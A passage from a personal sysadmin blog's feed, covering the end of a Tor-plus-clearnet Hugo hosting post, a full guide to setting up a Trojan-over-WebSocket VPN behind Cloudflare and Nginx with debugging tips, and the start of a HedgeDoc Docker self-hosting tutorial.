<li><strong>Tor unit confusion:</strong> <code>tor.service</code> is a tiny master; the real daemon is <code>tor@default</code>. Use that unit and verify config as <code>debian-tor</code>.</li>
<li><strong>Permissions:</strong> <code>HiddenServiceDir</code> must be owned by <code>debian-tor</code> and mode <code>700</code>.</li>
<li><strong>Mapping mismatch:</strong> If <code>HiddenServicePort 80 127.0.0.1:3301</code> is set, visit <code>http://&lt;onion&gt;/</code> (no <code>:3301</code>). If you set <code>HiddenServicePort 3301 127.0.0.1:3301</code>, you must use <code>http://&lt;onion&gt;:3301/</code>.</li>
<li><strong>Curl &amp; .onion:</strong> modern curl refuses <code>.onion</code> unless you use remote DNS via SOCKS:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">&#34;http://&lt;onion&gt;/&#34;</span>
</span></span></code></pre></div></li>
<li><strong>Two Nginx vhosts on the same port:</strong> I had a duplicate server on <code>127.0.0.1:3301</code> pointing somewhere else, which caused onion 404s. Keep only one (or mark one <code>default_server</code>).</li>
<li><strong>Regex in <code>server_name</code>:</strong> if you use it, write <code>server_name ~* \.onion$</code> (space after <code>~*</code>). I fixed an <code>invalid variable name</code> error caused by a missing space.</li>
<li><strong>PaperMod with old Hugo:</strong> upgraded to <strong>extended ≥ 0.146.0</strong>. Also updated <code>paginate</code> → <code>[pagination].pagerSize</code>.</li>
<li><strong>Snap confinement:</strong> Snap’s <code>hugo</code> couldn’t read <code>/srv</code> (<code>.../void: permission denied</code>). Switched to the tarball build in <code>/usr/local/bin</code>.</li>
</ul>
<hr>
<h2 id="7-not-secure-in-tor-browser">7) “Not secure” in Tor Browser?</h2>
<p>That message can appear because onion uses <strong>HTTP</strong>. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference <strong>clearnet</strong> resources (scan the built HTML for <code>http(s)://</code> links that aren’t your onion).</p>
<hr>
<h2 id="8-day-to-day-workflow">8) Day-to-day workflow</h2>
<ul>
<li>Create content:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hugo new posts/my-first-post.md  <span style="color:#75715e"># then set draft: false</span>
</span></span></code></pre></div></li>
<li>Publish both:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>build-both
</span></span></code></pre></div></li>
<li>(Optional) Auto on save:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
</span></span></code></pre></div></li>
<li>(Optional) Git push-to-deploy with a bare repo + post-receive hook that runs <code>build-both</code>.</li>
</ul>
<hr>
<h2 id="final-notes">Final notes</h2>
<ul>
<li>Clearnet gets <strong>HTTPS + HSTS</strong> and an <code>Onion-Location</code> header.</li>
<li>Onion gets <strong>no HSTS/redirects</strong>, and all assets are self-hosted to avoid mixed content.</li>
<li>Serving both worlds from one Hugo repo is easy: <strong>two builds, two vhosts, one workflow</strong>.</li>
</ul>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/tor_clearnet_blog.md">Markdown</a> ·
    <a href="/sources/posts/tor_clearnet_blog.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba&#43;znAc1rCWJuzwHe2Ih0aYsq7d
DMWRkpE9YTfQl/kSYpzlk96KCKv&#43;6lHQXqcPyq&#43;nQTDl/D7iCaOhb8Dog3W/2qN4
6G05f47EoiOJY&#43;G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD&#43;x4y4
UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
FwGfnomCwVwd5GpaP7LQdtP/a&#43;x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
slRx0&#43;P27gH&#43;CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC&#43;rZnHXPCdbsZ
TTiwtJ/jLLbX&#43;NfycW9qR6gVxloO35QA90AY7050tOgAsyH&#43;YUn&#43;Rtj2KVj91E0o
VzljG7RAly7yTe&#43;yxzC6OO&#43;iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
OrTnJ8fJqq&#43;XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
N6VbRTRfq2Vnp&#43;A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
=QlNw
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
  </pre>
</div>


]]></content:encoded></item><item><title>Stealth Trojan VPN Behind Cloudflare Guide</title><link>https://blog.alipour.eu/posts/vpn/</link><pubDate>Tue, 09 Sep 2025 11:05:00 +0200</pubDate><guid>https://blog.alipour.eu/posts/vpn/</guid><description>&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>So you want a VPN that &lt;strong>doesn&amp;rsquo;t scream &amp;ldquo;I am a VPN&amp;rdquo;&lt;/strong> to every censor and firewall out there?&lt;br>
Welcome to the world of &lt;strong>Trojan over WebSocket + TLS behind Cloudflare&lt;/strong>.&lt;/p>
&lt;p>This guide not only shows you how to set it up but also sprinkles in some &lt;strong>debugging magic&lt;/strong> so you can figure out why things break (and they &lt;em>will&lt;/em> break, trust me).&lt;/p>
&lt;p>We’ll anonymise domains and secrets, so substitute with your own:&lt;/p></description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br>
Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p>
<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p>
<p>We’ll anonymise domains and secrets, so substitute with your own:</p>
<ul>
<li>VPN domain: <code>web.example.com</code></li>
<li>Panel domain: <code>panel.example.com</code></li>
<li>Secret WS path: <code>/stealth-path_abcd1234</code></li>
<li>Password: <code>&lt;PASSWORD&gt;</code></li>
</ul>
<hr>
<h2 id="architecture-at-a-glance">Architecture at a Glance</h2>
<p>Think of it as a disguise party:</p>
<ul>
<li><strong>Trojan</strong> = the shy guest (your VPN protocol)</li>
<li><strong>Nginx</strong> = the bouncer checking IDs (reverse proxy)</li>
<li><strong>Cloudflare</strong> = the doorman who makes sure nobody sees who&rsquo;s inside (CDN &amp; proxy)</li>
<li><strong>Your fake website</strong> = the mask (camouflage page)</li>
</ul>
<p>Traffic flow:</p>
<pre tabindex="0"><code>Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
</code></pre><hr>
<h2 id="step-1-panel-setup-panelexamplecom">Step 1: Panel Setup (<code>panel.example.com</code>)</h2>
<ul>
<li>Bind the 3x-ui panel to localhost (e.g., <code>127.0.0.1:46309</code>).</li>
<li>Choose a funky <strong>web base path</strong> like <code>/panel-bananas_42/</code>.</li>
<li>Proxy it through Nginx with HTTPS + Basic Auth.</li>
<li>Test it at <code>https://panel.example.com/panel-bananas_42/</code>.</li>
</ul>
<p><strong>Pro tip:</strong> If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!</p>
<hr>
<h2 id="step-2-trojan-inbound">Step 2: Trojan Inbound</h2>
<p>In 3x-ui, create a Trojan inbound:</p>
<ul>
<li>Local port: <code>54321</code></li>
<li>Transport: WebSocket</li>
<li>Path: <code>/stealth-path_abcd1234</code></li>
<li>Security: none</li>
<li>Password: <code>&lt;PASSWORD&gt;</code></li>
</ul>
<hr>
<h2 id="step-3-nginx-for-vpn-domain-webexamplecom">Step 3: Nginx for VPN Domain (<code>web.example.com</code>)</h2>
<p>Your Nginx is the gatekeeper. Sample config:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">web.example.com</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/web.example.com/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/web.example.com/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Fake website at root
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">root</span> <span style="color:#e6db74">/var/www/html</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Real VPN under secret WS path
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/stealth-path_abcd1234</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:54321</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><hr>
<h2 id="step-4-firewall-rules">Step 4: Firewall Rules</h2>
<p>Lock things down! Only Cloudflare should reach you:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ufw allow 22/tcp
</span></span><span style="display:flex;"><span>ufw allow 80/tcp
</span></span><span style="display:flex;"><span>ufw allow 443/tcp
</span></span><span style="display:flex;"><span>ufw deny 54321/tcp
</span></span></code></pre></div><hr>
<h2 id="step-5-client-config">Step 5: Client Config</h2>
<p>Trojan URI:</p>
<pre tabindex="0"><code>trojan://&lt;PASSWORD&gt;@web.example.com:443?type=ws&amp;security=tls&amp;host=web.example.com&amp;path=%2Fstealth-path_abcd1234&amp;sni=web.example.com#MyStealthVPN
</code></pre><p>iOS clients: Shadowrocket, Stash, FoXray<br>
Android clients: v2rayNG, Clash Meta, NekoBox</p>
<hr>
<h2 id="debugging-time-aka-why-the-heck-doesnt-it-work">Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)</h2>
<h3 id="symptom-520-unknown-error-cloudflare">Symptom: <strong>520 Unknown Error (Cloudflare)</strong></h3>
<ul>
<li>Likely cause: Nginx couldn’t talk to Trojan.</li>
<li>Check Nginx error log:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>tail -n <span style="color:#ae81ff">50</span> /var/log/nginx/error.log
</span></span></code></pre></div></li>
<li>If you see <code>upstream sent no valid HTTP/1.0 header</code> → you’re mixing HTTPS/HTTP between Nginx and Trojan.</li>
</ul>
<hr>
<h3 id="symptom-526-invalid-ssl-certificate">Symptom: <strong>526 Invalid SSL certificate</strong></h3>
<ul>
<li>Cloudflare → Nginx cert mismatch.</li>
<li>Run:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
</span></span></code></pre></div></li>
<li>Make sure CN = <code>web.example.com</code>. If not, fix your cert.</li>
</ul>
<hr>
<h3 id="symptom-blank-page-on-panel">Symptom: <strong>Blank page on panel</strong></h3>
<ul>
<li>Check if the base path matches exactly (case-sensitive, slash-sensitive).</li>
<li>Watch for sneaky trailing spaces!</li>
<li>Test locally:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
</span></span></code></pre></div></li>
</ul>
<hr>
<h3 id="symptom-client-wont-connect">Symptom: <strong>Client won’t connect</strong></h3>
<ul>
<li>Run a WebSocket test:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -i -k -H <span style="color:#e6db74">&#34;Connection: Upgrade&#34;</span> -H <span style="color:#e6db74">&#34;Upgrade: websocket&#34;</span> https://web.example.com/stealth-path_abcd1234
</span></span></code></pre></div>Expect <code>101 Switching Protocols</code>. If not, check Nginx config.</li>
</ul>
<hr>
<h3 id="symptom-censor-still-blocks-you">Symptom: <strong>Censor still blocks you</strong></h3>
<ul>
<li>Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?<br>
→ They’ll find your origin IP. Use a second VPS or lock those ports down.</li>
<li>Did you use an obvious path like <code>/ws</code>?<br>
→ Use a random-looking one like <code>/cdn-assets-329df/</code>.</li>
</ul>
<hr>
<h2 id="pro-tips--fun-tricks">Pro Tips &amp; Fun Tricks</h2>
<ul>
<li>Serve a fake blog or portfolio at root so your domain looks legit.</li>
<li>Rotate WebSocket paths occasionally.</li>
<li>Use Cloudflare <strong>Page Rules</strong> to disable Rocket Loader &amp; Minify for your VPN domain.</li>
<li>Make friends with your Nginx error.log — it will roast you but it tells the truth.</li>
</ul>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:</p>
<ul>
<li>Looks like normal HTTPS.</li>
<li>Hides your origin IP.</li>
<li>Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.</li>
</ul>
<p>Congrats — you’ve built a VPN with both <strong>style</strong> and <strong>stealth</strong>. 🥷</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/vpn.md">Markdown</a> ·
    <a href="/sources/posts/vpn.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
jFsQFzNxcgOXKKWevuRtL5MY8RuC&#43;PbsfG2ry2jiOtJa9H2UixVJ5E8Imj&#43;VS47O
S3XAlxr85O9CEh/TFkS/TuY5P5&#43;VPoOLn6WfdCH5W2IdkW&#43;Vi3bZFJ46LBm6cNBh
Iydo&#43;r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA&#43;38RGmRNFgtR0mhMdtKNt
QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0&#43;CD&#43;M1kQILC
E8pXSfGhaG2bFCzQ&#43;BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr&#43;ql32hsQMQHZtho1nx5HEGCoCWG
3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
=IovZ
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
gpg --verify vpn.md.asc vpn.md
  </pre>
</div>


]]></content:encoded></item><item><title>Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt</title><link>https://blog.alipour.eu/posts/hedge_doc/</link><pubDate>Fri, 29 Aug 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/hedge_doc/</guid><description>&lt;p>HedgeDoc is an open-source collaborative Markdown editor. Think &lt;em>Google Docs for Markdown&lt;/em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.&lt;/p>
&lt;hr>
&lt;h2 id="prerequisites">Prerequisites&lt;/h2>
&lt;ul>
&lt;li>A Linux server with &lt;strong>Docker&lt;/strong> and &lt;strong>Docker Compose&lt;/strong>&lt;/li>
&lt;li>A domain name pointing to your server (e.g. &lt;code>notes.alipourimjourneys.ir&lt;/code>)&lt;/li>
&lt;li>&lt;strong>Nginx&lt;/strong> installed for reverse proxying&lt;/li>
&lt;li>&lt;strong>Certbot&lt;/strong> for Let’s Encrypt certificates&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="1-create-the-project-directory">1. Create the project directory&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir ~/hedgedoc &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> cd ~/hedgedoc&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;hr>
&lt;h2 id="2-create-env">2. Create &lt;code>.env&lt;/code>&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-env" data-lang="env">&lt;span style="display:flex;">&lt;span>POSTGRES_PASSWORD&lt;span style="color:#f92672">=&lt;/span>ChangeThisStrongPassword
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HD_DOMAIN&lt;span style="color:#f92672">=&lt;/span>notes.alipourimjourneys.ir&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;p>Generate a strong password with:&lt;/p></description><content:encoded><![CDATA[<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p>
<hr>
<h2 id="prerequisites">Prerequisites</h2>
<ul>
<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li>
<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li>
<li><strong>Nginx</strong> installed for reverse proxying</li>
<li><strong>Certbot</strong> for Let’s Encrypt certificates</li>
</ul>
<hr>
<h2 id="1-create-the-project-directory">1. Create the project directory</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div>
<hr>
<h2 id="2-create-env">2. Create <code>.env</code></h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword
</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div>
<p>Generate a strong password with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>openssl rand -base64 <span style="color:#ae81ff">32</span></span></span></code></pre></div>
<hr>
<h2 id="3-create-docker-composeyml">3. Create <code>docker-compose.yml</code></h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">version</span>: <span style="color:#e6db74">&#34;3.9&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">postgres:16</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_USER</span>: <span style="color:#ae81ff">hedgedoc</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_PASSWORD</span>: <span style="color:#ae81ff">${POSTGRES_PASSWORD}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_DB</span>: <span style="color:#ae81ff">hedgedoc</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">db:/var/lib/postgresql/data</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">hedgedoc</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">quay.io/hedgedoc/hedgedoc:1.10.2</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">db</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_DB_URL</span>: <span style="color:#ae81ff">postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_DOMAIN</span>: <span style="color:#ae81ff">${HD_DOMAIN}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_PROTOCOL_USESSL</span>: <span style="color:#e6db74">&#34;true&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_URL_ADDPORT</span>: <span style="color:#e6db74">&#34;false&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_PORT</span>: <span style="color:#e6db74">&#34;3000&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_EMAIL</span>: <span style="color:#e6db74">&#34;true&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_ALLOW_EMAIL_REGISTER</span>: <span style="color:#e6db74">&#34;false&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">uploads:/hedgedoc/public/uploads</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;127.0.0.1:3000:3000&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">uploads:</span></span></span></code></pre></div>
<p>Bring it up:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d</span></span></code></pre></div>
<hr>
<h2 id="4-get-a-lets-encrypt-certificate">4. Get a Let’s Encrypt certificate</h2>
<p>Request a cert with a <strong>DNS challenge</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email</span></span></code></pre></div>
<p>Add the TXT record certbot asks for, wait for DNS to propagate, then continue.<br>
Certificates will be in:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/etc/letsencrypt/live/notes.alipourimjourneys.ir/</span></span></code></pre></div>
<hr>
<h2 id="5-configure-nginx">5. Configure Nginx</h2>
<p>Create <code>/etc/nginx/sites-available/notes.alipourimjourneys.ir</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">notes.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">notes.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:3000</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span> $remote_addr;
